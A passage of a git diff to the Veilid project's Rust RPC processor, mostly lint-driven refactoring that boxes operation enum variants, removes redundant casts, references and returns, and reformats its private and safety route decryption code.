b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs index 1ef425ab..d2aefa79 100644 --- a/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs +++ b/veilid-core/src/rpc_processor/coders/operations/operation_watch_value.rs @@ -22,7 +22,7 @@ impl RPCOperationWatchValueQ { watcher: PublicKey, signature: Signature, ) -> Result { - if subkeys.len() as usize > MAX_WATCH_VALUE_Q_SUBKEYS_LEN { + if subkeys.len() > MAX_WATCH_VALUE_Q_SUBKEYS_LEN { return Err(RPCError::protocol("WatchValueQ subkeys length too long")); } Ok(Self { @@ -38,7 +38,7 @@ impl RPCOperationWatchValueQ { // signature covers: key, subkeys, expiration, count, using watcher key fn make_signature_data(&self) -> Vec { let mut sig_data = - Vec::with_capacity(PUBLIC_KEY_LENGTH + 4 + (self.subkeys.len() as usize * 8) + 8 + 4); + Vec::with_capacity(PUBLIC_KEY_LENGTH + 4 + (self.subkeys.len() * 8) + 8 + 4); sig_data.extend_from_slice(&self.key.kind.0); sig_data.extend_from_slice(&self.key.value.bytes); for sk in self.subkeys.ranges() { diff --git a/veilid-core/src/rpc_processor/coders/operations/question.rs b/veilid-core/src/rpc_processor/coders/operations/question.rs index 12591220..0ecd7b8b 100644 --- a/veilid-core/src/rpc_processor/coders/operations/question.rs +++ b/veilid-core/src/rpc_processor/coders/operations/question.rs @@ -43,22 +43,22 @@ impl RPCQuestion { #[derive(Debug, Clone)] pub enum RPCQuestionDetail { - StatusQ(RPCOperationStatusQ), - FindNodeQ(RPCOperationFindNodeQ), - AppCallQ(RPCOperationAppCallQ), - GetValueQ(RPCOperationGetValueQ), - SetValueQ(RPCOperationSetValueQ), - WatchValueQ(RPCOperationWatchValueQ), + StatusQ(Box), + FindNodeQ(Box), + AppCallQ(Box), + GetValueQ(Box), + SetValueQ(Box), + WatchValueQ(Box), #[cfg(feature = "unstable-blockstore")] - SupplyBlockQ(RPCOperationSupplyBlockQ), + SupplyBlockQ(Box), #[cfg(feature = "unstable-blockstore")] - FindBlockQ(RPCOperationFindBlockQ), + FindBlockQ(Box), #[cfg(feature = "unstable-tunnels")] - StartTunnelQ(RPCOperationStartTunnelQ), + StartTunnelQ(Box), #[cfg(feature = "unstable-tunnels")] - CompleteTunnelQ(RPCOperationCompleteTunnelQ), + CompleteTunnelQ(Box), #[cfg(feature = "unstable-tunnels")] - CancelTunnelQ(RPCOperationCancelTunnelQ), + CancelTunnelQ(Box), } impl RPCQuestionDetail { @@ -111,62 +111,62 @@ impl RPCQuestionDetail { veilid_capnp::question::detail::StatusQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationStatusQ::decode(&op_reader)?; - RPCQuestionDetail::StatusQ(out) + RPCQuestionDetail::StatusQ(Box::new(out)) } veilid_capnp::question::detail::FindNodeQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationFindNodeQ::decode(&op_reader)?; - RPCQuestionDetail::FindNodeQ(out) + RPCQuestionDetail::FindNodeQ(Box::new(out)) } veilid_capnp::question::detail::Which::AppCallQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationAppCallQ::decode(&op_reader)?; - RPCQuestionDetail::AppCallQ(out) + RPCQuestionDetail::AppCallQ(Box::new(out)) } veilid_capnp::question::detail::GetValueQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationGetValueQ::decode(&op_reader)?; - RPCQuestionDetail::GetValueQ(out) + RPCQuestionDetail::GetValueQ(Box::new(out)) } veilid_capnp::question::detail::SetValueQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationSetValueQ::decode(&op_reader)?; - RPCQuestionDetail::SetValueQ(out) + RPCQuestionDetail::SetValueQ(Box::new(out)) } veilid_capnp::question::detail::WatchValueQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationWatchValueQ::decode(&op_reader)?; - RPCQuestionDetail::WatchValueQ(out) + RPCQuestionDetail::WatchValueQ(Box::new(out)) } #[cfg(feature = "unstable-blockstore")] veilid_capnp::question::detail::SupplyBlockQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationSupplyBlockQ::decode(&op_reader)?; - RPCQuestionDetail::SupplyBlockQ(out) + RPCQuestionDetail::SupplyBlockQ(Box::new(out)) } #[cfg(feature = "unstable-blockstore")] veilid_capnp::question::detail::FindBlockQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationFindBlockQ::decode(&op_reader)?; - RPCQuestionDetail::FindBlockQ(out) + RPCQuestionDetail::FindBlockQ(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::question::detail::StartTunnelQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationStartTunnelQ::decode(&op_reader)?; - RPCQuestionDetail::StartTunnelQ(out) + RPCQuestionDetail::StartTunnelQ(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::question::detail::CompleteTunnelQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationCompleteTunnelQ::decode(&op_reader)?; - RPCQuestionDetail::CompleteTunnelQ(out) + RPCQuestionDetail::CompleteTunnelQ(Box::new(out)) } #[cfg(feature = "unstable-tunnels")] veilid_capnp::question::detail::CancelTunnelQ(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationCancelTunnelQ::decode(&op_reader)?; - RPCQuestionDetail::CancelTunnelQ(out) + RPCQuestionDetail::CancelTunnelQ(Box::new(out)) } }; Ok(out) diff --git a/veilid-core/src/rpc_processor/coders/operations/statement.rs b/veilid-core/src/rpc_processor/coders/operations/statement.rs index 08241e24..b71edc00 100644 --- a/veilid-core/src/rpc_processor/coders/operations/statement.rs +++ b/veilid-core/src/rpc_processor/coders/operations/statement.rs @@ -34,12 +34,12 @@ impl RPCStatement { #[derive(Debug, Clone)] pub enum RPCStatementDetail { - ValidateDialInfo(RPCOperationValidateDialInfo), - Route(RPCOperationRoute), - ValueChanged(RPCOperationValueChanged), - Signal(RPCOperationSignal), - ReturnReceipt(RPCOperationReturnReceipt), - AppMessage(RPCOperationAppMessage), + ValidateDialInfo(Box), + Route(Box), + ValueChanged(Box), + Signal(Box), + ReturnReceipt(Box), + AppMessage(Box), } impl RPCStatementDetail { @@ -71,32 +71,32 @@ impl RPCStatementDetail { veilid_capnp::statement::detail::ValidateDialInfo(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationValidateDialInfo::decode(&op_reader)?; - RPCStatementDetail::ValidateDialInfo(out) + RPCStatementDetail::ValidateDialInfo(Box::new(out)) } veilid_capnp::statement::detail::Route(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationRoute::decode(&op_reader)?; - RPCStatementDetail::Route(out) + RPCStatementDetail::Route(Box::new(out)) } veilid_capnp::statement::detail::ValueChanged(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationValueChanged::decode(&op_reader)?; - RPCStatementDetail::ValueChanged(out) + RPCStatementDetail::ValueChanged(Box::new(out)) } veilid_capnp::statement::detail::Signal(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationSignal::decode(&op_reader)?; - RPCStatementDetail::Signal(out) + RPCStatementDetail::Signal(Box::new(out)) } veilid_capnp::statement::detail::ReturnReceipt(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationReturnReceipt::decode(&op_reader)?; - RPCStatementDetail::ReturnReceipt(out) + RPCStatementDetail::ReturnReceipt(Box::new(out)) } veilid_capnp::statement::detail::AppMessage(r) => { let op_reader = r.map_err(RPCError::protocol)?; let out = RPCOperationAppMessage::decode(&op_reader)?; - RPCStatementDetail::AppMessage(out) + RPCStatementDetail::AppMessage(Box::new(out)) } }; Ok(out) diff --git a/veilid-core/src/rpc_processor/coders/peer_info.rs b/veilid-core/src/rpc_processor/coders/peer_info.rs index 8a23589a..b8707994 100644 --- a/veilid-core/src/rpc_processor/coders/peer_info.rs +++ b/veilid-core/src/rpc_processor/coders/peer_info.rs @@ -41,7 +41,7 @@ pub fn decode_peer_info(reader: &veilid_capnp::peer_info::Reader) -> Result { let mut ni_builder = node_builder.init_node_id(); - encode_key256(&ni, &mut ni_builder); + encode_key256(ni, &mut ni_builder); } RouteNode::PeerInfo(pi) => { let mut pi_builder = node_builder.init_peer_info(); - encode_peer_info(&pi, &mut pi_builder)?; + encode_peer_info(pi, &mut pi_builder)?; } } if let Some(rhd) = &route_hop.next_hop { diff --git a/veilid-core/src/rpc_processor/destination.rs b/veilid-core/src/rpc_processor/destination.rs index 3431036e..732334d5 100644 --- a/veilid-core/src/rpc_processor/destination.rs +++ b/veilid-core/src/rpc_processor/destination.rs @@ -361,9 +361,9 @@ impl RPCProcessor { if let Some(sender_noderef) = res { NetworkResult::value(Destination::relay(peer_noderef, sender_noderef)) } else { - return NetworkResult::invalid_message( + NetworkResult::invalid_message( "not responding to sender that has no node info", - ); + ) } } } @@ -371,9 +371,9 @@ impl RPCProcessor { match &request.header.detail { RPCMessageHeaderDetail::Direct(_) => { // If this was sent directly, we should only ever respond directly - return NetworkResult::invalid_message( + NetworkResult::invalid_message( "not responding to private route from direct question", - ); + ) } RPCMessageHeaderDetail::SafetyRouted(detail) => { // If this was sent via a safety route, but not received over our private route, don't respond with a safety route, @@ -387,7 +387,7 @@ impl RPCProcessor { // If this was received over our private route, it's okay to respond to a private route via our safety route NetworkResult::value(Destination::private_route( pr.clone(), - SafetySelection::Safe(detail.safety_spec.clone()), + SafetySelection::Safe(detail.safety_spec), )) } } diff --git a/veilid-core/src/rpc_processor/fanout_call.rs b/veilid-core/src/rpc_processor/fanout_call.rs index 06656731..5a7971a5 100644 --- a/veilid-core/src/rpc_processor/fanout_call.rs +++ b/veilid-core/src/rpc_processor/fanout_call.rs @@ -60,6 +60,7 @@ where C: Fn(NodeRef) -> F, D: Fn(&[NodeRef]) -> Option, { + #[allow(clippy::too_many_arguments)] pub fn new( routing_table: RoutingTable, node_id: TypedKey, @@ -103,7 +104,7 @@ where fn add_to_fanout_queue(self: Arc, new_nodes: &[NodeRef]) { let ctx = &mut *self.context.lock(); let this = self.clone(); - ctx.fanout_queue.add(&new_nodes, |current_nodes| { + ctx.fanout_queue.add(new_nodes, |current_nodes| { let mut current_nodes_vec = this .routing_table .sort_and_clean_closest_noderefs(this.node_id, current_nodes); @@ -180,8 +181,10 @@ where let entry = opt_entry.unwrap(); // Filter entries - entry.with(rti, |_rti, e| { - let Some(signed_node_info) = e.signed_node_info(RoutingDomain::PublicInternet) else { + entry.with(rti, |_rti, e| { + let Some(signed_node_info) = + e.signed_node_info(RoutingDomain::PublicInternet) + else { return false; }; // Ensure only things that are valid/signed in the PublicInternet domain are returned diff --git a/veilid-core/src/rpc_processor/mod.rs b/veilid-core/src/rpc_processor/mod.rs index 9c71d396..ba68fe27 100644 --- a/veilid-core/src/rpc_processor/mod.rs +++ b/veilid-core/src/rpc_processor/mod.rs @@ -447,7 +447,7 @@ impl RPCProcessor { capabilities: &[Capability], ) -> bool { let routing_table = self.routing_table(); - routing_table.signed_node_info_is_valid_in_routing_domain(routing_domain, &signed_node_info) + routing_table.signed_node_info_is_valid_in_routing_domain(routing_domain, signed_node_info) && signed_node_info.node_info().has_capabilities(capabilities) } @@ -684,7 +684,7 @@ impl RPCProcessor { let ssni_route = self.get_sender_peer_info(&Destination::direct(compiled_route.first_hop.clone())); let operation = RPCOperation::new_statement( - RPCStatement::new(RPCStatementDetail::Route(route_operation)), + RPCStatement::new(RPCStatementDetail::Route(Box::new(route_operation))), ssni_route, ); @@ -1021,6 +1021,7 @@ impl RPCProcessor { } /// Record answer received from node or route + #[allow(clippy::too_many_arguments)] fn record_answer_received( &self, send_ts: Timestamp, @@ -1079,7 +1080,7 @@ impl RPCProcessor { // If we sent to a private route without a safety route // We need to mark our own node info as having been seen so we can optimize sending it - if let Err(e) = rss.mark_remote_private_route_seen_our_node_info(&rpr_pubkey, recv_ts) { + if let Err(e) = rss.mark_remote_private_route_seen_our_node_info(rpr_pubkey, recv_ts) { log_rpc!(error "private route missing: {}", e); } @@ -1116,7 +1117,6 @@ impl RPCProcessor { RPCMessageHeaderDetail::Direct(_) => { if let Some(sender_nr) = msg.opt_sender_nr.clone() { sender_nr.stats_question_rcvd(recv_ts, bytes); - return; } } // Process messages that arrived with no private route (private route stub) diff --git a/veilid-core/src/rpc_processor/rpc_app_call.rs b/veilid-core/src/rpc_processor/rpc_app_call.rs index 984e8d9b..4a34c796 100644 --- a/veilid-core/src/rpc_processor/rpc_app_call.rs +++ b/veilid-core/src/rpc_processor/rpc_app_call.rs @@ -17,7 +17,7 @@ impl RPCProcessor { let app_call_q = RPCOperationAppCallQ::new(message)?; let question = RPCQuestion::new( network_result_try!(self.get_destination_respond_to(&dest)?), - RPCQuestionDetail::AppCallQ(app_call_q), + RPCQuestionDetail::AppCallQ(Box::new(app_call_q)), ); // Send the app call question @@ -117,8 +117,11 @@ impl RPCProcessor { let app_call_a = RPCOperationAppCallA::new(message_a)?; // Send status answer - self.answer(msg, RPCAnswer::new(RPCAnswerDetail::AppCallA(app_call_a))) - .await + self.answer( + msg, + RPCAnswer::new(RPCAnswerDetail::AppCallA(Box::new(app_call_a))), + ) + .await } /// Exposed to API for apps to return app call answers diff --git a/veilid-core/src/rpc_processor/rpc_app_message.rs b/veilid-core/src/rpc_processor/rpc_app_message.rs index d8798ff1..69ac7046 100644 --- a/veilid-core/src/rpc_processor/rpc_app_message.rs +++ b/veilid-core/src/rpc_processor/rpc_app_message.rs @@ -13,7 +13,7 @@ impl RPCProcessor { message: Vec, ) -> Result, RPCError> { let app_message = RPCOperationAppMessage::new(message)?; - let statement = RPCStatement::new(RPCStatementDetail::AppMessage(app_message)); + let statement = RPCStatement::new(RPCStatementDetail::AppMessage(Box::new(app_message))); // Send the app message request self.statement(dest, statement).await diff --git a/veilid-core/src/rpc_processor/rpc_error.rs b/veilid-core/src/rpc_processor/rpc_error.rs index 89c9eb11..f20f7102 100644 --- a/veilid-core/src/rpc_processor/rpc_error.rs +++ b/veilid-core/src/rpc_processor/rpc_error.rs @@ -38,7 +38,7 @@ impl RPCError { move |x| Self::Internal(format!("{}: {}", message.to_string(), x.to_string())) } pub fn else_internal(message: M) -> impl FnOnce() -> Self { - move || Self::Internal(format!("{}", message.to_string())) + move || Self::Internal(message.to_string()) } pub fn network(x: X) -> Self { Self::Network(x.to_string()) diff --git a/veilid-core/src/rpc_processor/rpc_find_node.rs b/veilid-core/src/rpc_processor/rpc_find_node.rs index d205081f..088b38b9 100644 --- a/veilid-core/src/rpc_processor/rpc_find_node.rs +++ b/veilid-core/src/rpc_processor/rpc_find_node.rs @@ -30,8 +30,9 @@ impl RPCProcessor { )); } - let find_node_q_detail = - RPCQuestionDetail::FindNodeQ(RPCOperationFindNodeQ::new(node_id, capabilities.clone())); + let find_node_q_detail = RPCQuestionDetail::FindNodeQ(Box::new( + RPCOperationFindNodeQ::new(node_id, capabilities.clone()), + )); let find_node_q = RPCQuestion::new( network_result_try!(self.get_destination_respond_to(&dest)?), find_node_q_detail, @@ -111,7 +112,10 @@ impl RPCProcessor { let find_node_a = RPCOperationFindNodeA::new(closest_nodes)?; // Send FindNode answer - self.answer(msg, RPCAnswer::new(RPCAnswerDetail::FindNodeA(find_node_a))) - .await + self.answer( + msg, + RPCAnswer::new(RPCAnswerDetail::FindNodeA(Box::new(find_node_a))), + ) + .await } } diff --git a/veilid-core/src/rpc_processor/rpc_get_value.rs b/veilid-core/src/rpc_processor/rpc_get_value.rs index b6137796..89c1aeff 100644 --- a/veilid-core/src/rpc_processor/rpc_get_value.rs +++ b/veilid-core/src/rpc_processor/rpc_get_value.rs @@ -65,7 +65,7 @@ impl RPCProcessor { let get_value_q = RPCOperationGetValueQ::new(key, subkey, last_descriptor.is_none()); let question = RPCQuestion::new( network_result_try!(self.get_destination_respond_to(&dest)?), - RPCQuestionDetail::GetValueQ(get_value_q), + RPCQuestionDetail::GetValueQ(Box::new(get_value_q)), ); let question_context = QuestionContext::GetValue(ValidateGetValueContext { @@ -268,7 +268,7 @@ impl RPCProcessor { )?; // Send GetValue answer - self.answer(msg, RPCAnswer::new(RPCAnswerDetail::GetValueA(get_value_a))) + self.answer(msg, RPCAnswer::new(RPCAnswerDetail::GetValueA(Box::new(get_value_a)))) .await } } diff --git a/veilid-core/src/rpc_processor/rpc_return_receipt.rs b/veilid-core/src/rpc_processor/rpc_return_receipt.rs index 66397c72..60c13cb2 100644 --- a/veilid-core/src/rpc_processor/rpc_return_receipt.rs +++ b/veilid-core/src/rpc_processor/rpc_return_receipt.rs @@ -15,7 +15,8 @@ impl RPCProcessor { let receipt = receipt.as_ref().to_vec(); let return_receipt = RPCOperationReturnReceipt::new(receipt)?; - let statement = RPCStatement::new(RPCStatementDetail::ReturnReceipt(return_receipt)); + let statement = + RPCStatement::new(RPCStatementDetail::ReturnReceipt(Box::new(return_receipt))); // Send the return_receipt request network_result_try!(self.statement(dest, statement).await?); diff --git a/veilid-core/src/rpc_processor/rpc_route.rs b/veilid-core/src/rpc_processor/rpc_route.rs index aa055de1..117a26a3 100644 --- a/veilid-core/src/rpc_processor/rpc_route.rs +++ b/veilid-core/src/rpc_processor/rpc_route.rs @@ -1,7 +1,10 @@ use super::*; impl RPCProcessor { - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] async fn process_route_safety_route_hop( &self, routed_operation: RoutedOperation, @@ -26,7 +29,10 @@ impl RPCProcessor { } // Get next hop node ref - let Some(mut next_hop_nr) = route_hop.node.node_ref(self.routing_table.clone(), safety_route.public_key.kind) else { + let Some(mut next_hop_nr) = route_hop + .node + .node_ref(self.routing_table.clone(), safety_route.public_key.kind) + else { return Err(RPCError::network(format!( "could not get route node hop ref: {}", route_hop.node.describe(safety_route.public_key.kind) @@ -45,14 +51,18 @@ impl RPCProcessor { }, routed_operation, ); - let next_hop_route_stmt = RPCStatement::new(RPCStatementDetail::Route(next_hop_route)); + let next_hop_route_stmt = + RPCStatement::new(RPCStatementDetail::Route(Box::new(next_hop_route))); // Send the next route statement self.statement(Destination::direct(next_hop_nr), next_hop_route_stmt) .await } - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] async fn process_route_private_route_hop( &self, routed_operation: RoutedOperation, @@ -68,7 +78,9 @@ impl RPCProcessor { } // Get next hop node ref - let Some(mut next_hop_nr) = next_route_node.node_ref(self.routing_table.clone(), safety_route_public_key.kind) else { + let Some(mut next_hop_nr) = + next_route_node.node_ref(self.routing_table.clone(), safety_route_public_key.kind) + else { return Err(RPCError::network(format!( "could not get route node hop ref: {}", next_route_node.describe(safety_route_public_key.kind) @@ -87,7 +99,8 @@ impl RPCProcessor { }, routed_operation, ); - let next_hop_route_stmt = RPCStatement::new(RPCStatementDetail::Route(next_hop_route)); + let next_hop_route_stmt = + RPCStatement::new(RPCStatementDetail::Route(Box::new(next_hop_route))); // Send the next route statement self.statement(Destination::direct(next_hop_nr), next_hop_route_stmt) @@ -99,7 +112,10 @@ impl RPCProcessor { /// Note: it is important that we never respond with a safety route to questions that come /// in without a private route. Giving away a safety route when the node id is known is /// a privacy violation! - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] fn process_safety_routed_operation( &self, detail: RPCMessageHeaderDetailDirect, @@ -111,7 +127,9 @@ impl RPCProcessor { // xxx: punish nodes that send messages that fail to decrypt eventually? How to do this for safety routes? let node_id_secret = self.routing_table.node_id_secret_key(remote_sr_pubkey.kind); let Ok(dh_secret) = vcrypto.cached_dh(&remote_sr_pubkey.value, &node_id_secret) else { - return Ok(NetworkResult::invalid_message("dh failed for remote safety route for safety routed operation")); + return Ok(NetworkResult::invalid_message( + "dh failed for remote safety route for safety routed operation", + )); }; let body = match vcrypto.decrypt_aead( routed_operation.data(), @@ -141,7 +159,10 @@ impl RPCProcessor { } /// Process a routed operation that came in over both a safety route and a private route - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] fn process_private_routed_operation( &self, detail: RPCMessageHeaderDetailDirect, @@ -152,49 +173,54 @@ impl RPCProcessor { ) -> Result, RPCError> { // Get sender id of the peer with the crypto kind of the route let Some(sender_id) = detail.peer_noderef.node_ids().get(pr_pubkey.kind) else { - return Ok(NetworkResult::invalid_message("route node doesnt have a required crypto kind for routed operation")); + return Ok(NetworkResult::invalid_message( + "route node doesnt have a required crypto kind for routed operation", + )); }; // Look up the private route and ensure it's one in our spec store // Ensure the route is validated, and construct a return safetyspec that matches the inbound preferences let rss = self.routing_table.route_spec_store(); let preferred_route = rss.get_route_id_for_key(&pr_pubkey.value); - let Some((secret_key, safety_spec)) = rss - .with_signature_validated_route( - &pr_pubkey, - routed_operation.signatures(), - routed_operation.data(), - sender_id.value, - |rssd, rsd| { - ( - rsd.secret_key, - SafetySpec { - preferred_route, - hop_count: rssd.hop_count(), - stability: rssd.get_stability(), - sequencing: routed_operation.sequencing(), - }, - ) - } - ) - else { - return Ok(NetworkResult::invalid_message("signatures did not validate for private route")); - }; + let Some((secret_key, safety_spec)) = rss.with_signature_validated_route( + &pr_pubkey, + routed_operation.signatures(), + routed_operation.data(), + sender_id.value, + |rssd, rsd| { + ( + rsd.secret_key, + SafetySpec { + preferred_route, + hop_count: rssd.hop_count(), + stability: rssd.get_stability(), + sequencing: routed_operation.sequencing(), + }, + ) + }, + ) else { + return Ok(NetworkResult::invalid_message( + "signatures did not validate for private route", + )); + }; // Now that things are valid, decrypt the routed operation with DEC(nonce, DH(the SR's public key, the PR's (or node's) secret) // xxx: punish nodes that send messages that fail to decrypt eventually. How to do this for private routes? let Ok(dh_secret) = vcrypto.cached_dh(&remote_sr_pubkey.value, &secret_key) else { - return Ok(NetworkResult::invalid_message("dh failed for remote safety route for private routed operation")); + return Ok(NetworkResult::invalid_message( + "dh failed for remote safety route for private routed operation", + )); + }; + let Ok(body) = vcrypto.decrypt_aead( + routed_operation.data(), + routed_operation.nonce(), + &dh_secret, + None, + ) else { + return Ok(NetworkResult::invalid_message( + "decryption of routed operation failed", + )); }; - let Ok(body) = vcrypto - .decrypt_aead( - routed_operation.data(), - routed_operation.nonce(), - &dh_secret, - None, - ) else { - return Ok(NetworkResult::invalid_message("decryption of routed operation failed")); - }; // Pass message to RPC system self.enqueue_private_routed_message( @@ -209,7 +235,10 @@ impl RPCProcessor { Ok(NetworkResult::value(())) } - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] fn process_routed_operation( &self, detail: RPCMessageHeaderDetailDirect, @@ -239,7 +268,10 @@ impl RPCProcessor { ) } } - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip_all, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip_all, err) + )] pub(crate) async fn process_private_route_first_hop( &self, mut routed_operation: RoutedOperation, @@ -247,14 +279,18 @@ impl RPCProcessor { mut private_route: PrivateRoute, ) -> Result, RPCError> { let Some(pr_first_hop) = private_route.pop_first_hop() else { - return Ok(NetworkResult::invalid_message("switching from safety route to private route requires first hop")); + return Ok(NetworkResult::invalid_message( + "switching from safety route to private route requires first hop", + )); }; // Check for loopback test where private route is the same as safety route if sr_pubkey == private_route.public_key { // If so, we're going to turn this thing right around without transiting the network let PrivateRouteHops::Data(route_hop_data) = private_route.hops else { - return Ok(NetworkResult::invalid_message("Loopback test requires hops")); + return Ok(NetworkResult::invalid_message( + "Loopback test requires hops", + )); }; // Decrypt route hop data @@ -282,7 +318,7 @@ impl RPCProcessor { hop_count: private_route.hop_count - 1, hops: route_hop .next_hop - .map(|rhd| PrivateRouteHops::Data(rhd)) + .map(PrivateRouteHops::Data) .unwrap_or(PrivateRouteHops::Empty), }, ) @@ -342,9 +378,11 @@ impl RPCProcessor { .map_err(RPCError::protocol)?; decode_route_hop(&rh_reader)? }; - + // Validate the RouteHop - route_hop.validate(self.crypto.clone()).map_err(RPCError::protocol)?; + route_hop + .validate(self.crypto.clone()) + .map_err(RPCError::protocol)?; // Sign the operation if this is not our last hop // as the last hop is already signed by the envelope @@ -360,7 +398,10 @@ impl RPCProcessor { Ok(NetworkResult::value(route_hop)) } - #[cfg_attr(feature="verbose-tracing", instrument(level = "trace", skip(self), ret, err))] + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] pub(crate) async fn process_route( &self, msg: RPCMessage, @@ -374,16 +415,10 @@ impl RPCProcessor { } let opi = routing_table.get_own_peer_info(msg.header.routing_domain()); - if !opi - .signed_node_info() - .node_info() - .has_capability(CAP_ROUTE) - { - return Ok(NetworkResult::service_unavailable( - "route is not available", - )); + if !opi.signed_node_info().node_info().has_capability(CAP_ROUTE) { + return Ok(NetworkResult::service_unavailable("route is not available")); } - + // Get header detail, must be direct and not inside a route itself let detail = match msg.header.detail { RPCMessageHeaderDetail::Direct(detail) => detail, @@ -395,7 +430,7 @@ impl RPCProcessor { }; // Get the statement - let (_,_,_,kind) = msg.operation.destructure(); + let (_, _, _, kind) = msg.operation.destructure(); let route = match kind { RPCOperationKind::Statement(s) => match s.destructure() { RPCStatementDetail::Route(s) => s, @@ -419,19 +454,22 @@ impl RPCProcessor { SafetyRouteHops::Data(ref route_hop_data) => { // Decrypt the blob with DEC(nonce, DH(the SR's public key, this hop's secret) let node_id_secret = self.routing_table.node_id_secret_key(crypto_kind); - let Ok(dh_secret) = vcrypto - .cached_dh(&safety_route.public_key.value, &node_id_secret) else { - return Ok(NetworkResult::invalid_message("dh failed for safety route hop")); + let Ok(dh_secret) = + vcrypto.cached_dh(&safety_route.public_key.value, &node_id_secret) + else { + return Ok(NetworkResult::invalid_message( + "dh failed for safety route hop", + )); }; - let Ok(mut dec_blob_data) = vcrypto - .decrypt_aead( - &route_hop_data.blob, - &route_hop_data.nonce, - &dh_secret, - None, - ) - else { - return Ok(NetworkResult::invalid_message("failed to decrypt route hop data for safety route hop")); + let Ok(mut dec_blob_data) = vcrypto.decrypt_aead( + &route_hop_data.blob, + &route_hop_data.nonce, + &dh_secret, + None, + ) else { + return Ok(NetworkResult::invalid_message( + "failed to decrypt route hop data for safety route hop", + )); }; // See if this is last hop in safety route, if so, we're decoding a PrivateRoute not a RouteHop @@ -440,26 +478,35 @@ impl RPCProcessor { }; let Ok(dec_blob_reader) = RPCMessageData::new(dec_blob_data).get_reader() else { - return Ok(NetworkResult::invalid_message("Failed to decode RPCMessageData from blob")); + return Ok(NetworkResult::invalid_message( + "Failed to decode RPCMessageData from blob", + )); }; // Decode the blob appropriately if dec_blob_tag == 1 { // PrivateRoute let private_route = { - let Ok(pr_reader) = dec_blob_reader - .get_root::() else { - return Ok(NetworkResult::invalid_message("failed to get private route reader for blob")); + let Ok(pr_reader) = + dec_blob_reader.get_root::() + else { + return Ok(NetworkResult::invalid_message( + "failed to get private route reader for blob", + )); }; let Ok(private_route) = decode_private_route(&pr_reader) else { - return Ok(NetworkResult::invalid_message("failed to decode private route")); + return Ok(NetworkResult::invalid_message( + "failed to decode private route", + )); }; private_route }; - + // Validate the private route - if let Err(_) = private_route.validate(self.crypto.clone()) { - return Ok(NetworkResult::invalid_message("failed to validate private route")); + if private_route.validate(self.crypto.clone()).is_err() { + return Ok(NetworkResult::invalid_message( + "failed to validate private route", + )); } // Switching from full safety route to private route first hop @@ -474,19 +521,26 @@ impl RPCProcessor { } else if dec_blob_tag == 0 { // RouteHop let route_hop = { - let Ok(rh_reader) = dec_blob_reader - .get_root::() else { - return Ok(NetworkResult::invalid_message("failed to get route hop reader for blob")); + let Ok(rh_reader) = + dec_blob_reader.get_root::() + else { + return Ok(NetworkResult::invalid_message( + "failed to get route hop reader for blob", + )); }; let Ok(route_hop) = decode_route_hop(&rh_reader) else { - return Ok(NetworkResult::invalid_message("failed to decode route hop")); + return Ok(NetworkResult::invalid_message( + "failed to decode route hop", + )); }; route_hop }; // Validate the route hop - if let Err(_) = route_hop.validate(self.crypto.clone()) { - return Ok(NetworkResult::invalid_message("failed to validate route hop")); + if route_hop.validate(self.crypto.clone()).is_err() { + return Ok(NetworkResult::invalid_message( + "failed to validate route hop", + )); } // Continue the full safety route with another hop @@ -543,7 +597,7 @@ impl RPCProcessor { hop_count: private_route.hop_count - 1, hops: route_hop .next_hop - .map(|rhd| PrivateRouteHops::Data(rhd)) + .map(PrivateRouteHops::Data) .unwrap_or(PrivateRouteHops::Empty), }, ) diff --git a/veilid-core/src/rpc_processor/rpc_set_value.rs b/veilid-core/src/rpc_processor/rpc_set_value.rs index 48f7563b..b69a8ff5 100644 --- a/veilid-core/src/rpc_processor/rpc_set_value.rs +++ b/veilid-core/src/rpc_processor/rpc_set_value.rs @@ -80,7 +80,7 @@ impl RPCProcessor { ); let question = RPCQuestion::new( network_result_try!(self.get_destination_respond_to(&dest)?), - RPCQuestionDetail::SetValueQ(set_value_q), + RPCQuestionDetail::SetValueQ(Box::new(set_value_q)), ); let question_context = QuestionContext::SetValue(ValidateSetValueContext { descriptor, @@ -292,7 +292,7 @@ impl RPCProcessor { let set_value_a = RPCOperationSetValueA::new(set, new_value, closer_to_key_peers)?; // Send SetValue answer - self.answer(msg, RPCAnswer::new(RPCAnswerDetail::SetValueA(set_value_a))) + self.answer(msg, 